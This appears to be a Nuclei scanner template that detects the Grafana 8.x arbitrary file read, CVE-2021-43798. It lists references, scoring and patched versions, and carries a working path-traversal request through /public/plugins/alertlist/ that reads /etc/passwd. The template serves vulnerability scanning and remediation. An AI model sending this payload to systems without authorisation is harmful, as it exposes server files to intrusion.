id: CVE-2021-43798

info:
  name: Grafana v8.x Arbitrary File Read
  author: z0ne,dhiyaneshDk
  severity: high
  description: Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `<grafana_host_url>/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin.
  reference:
    - https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
    - https://nosec.org/home/detail/4914.html
    - https://github.com/jas502n/Grafana-VulnTips
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43798
  remediation: Upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43798
    cwe-id: CWE-22
  tags: cve,cve2021,grafana,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/02/28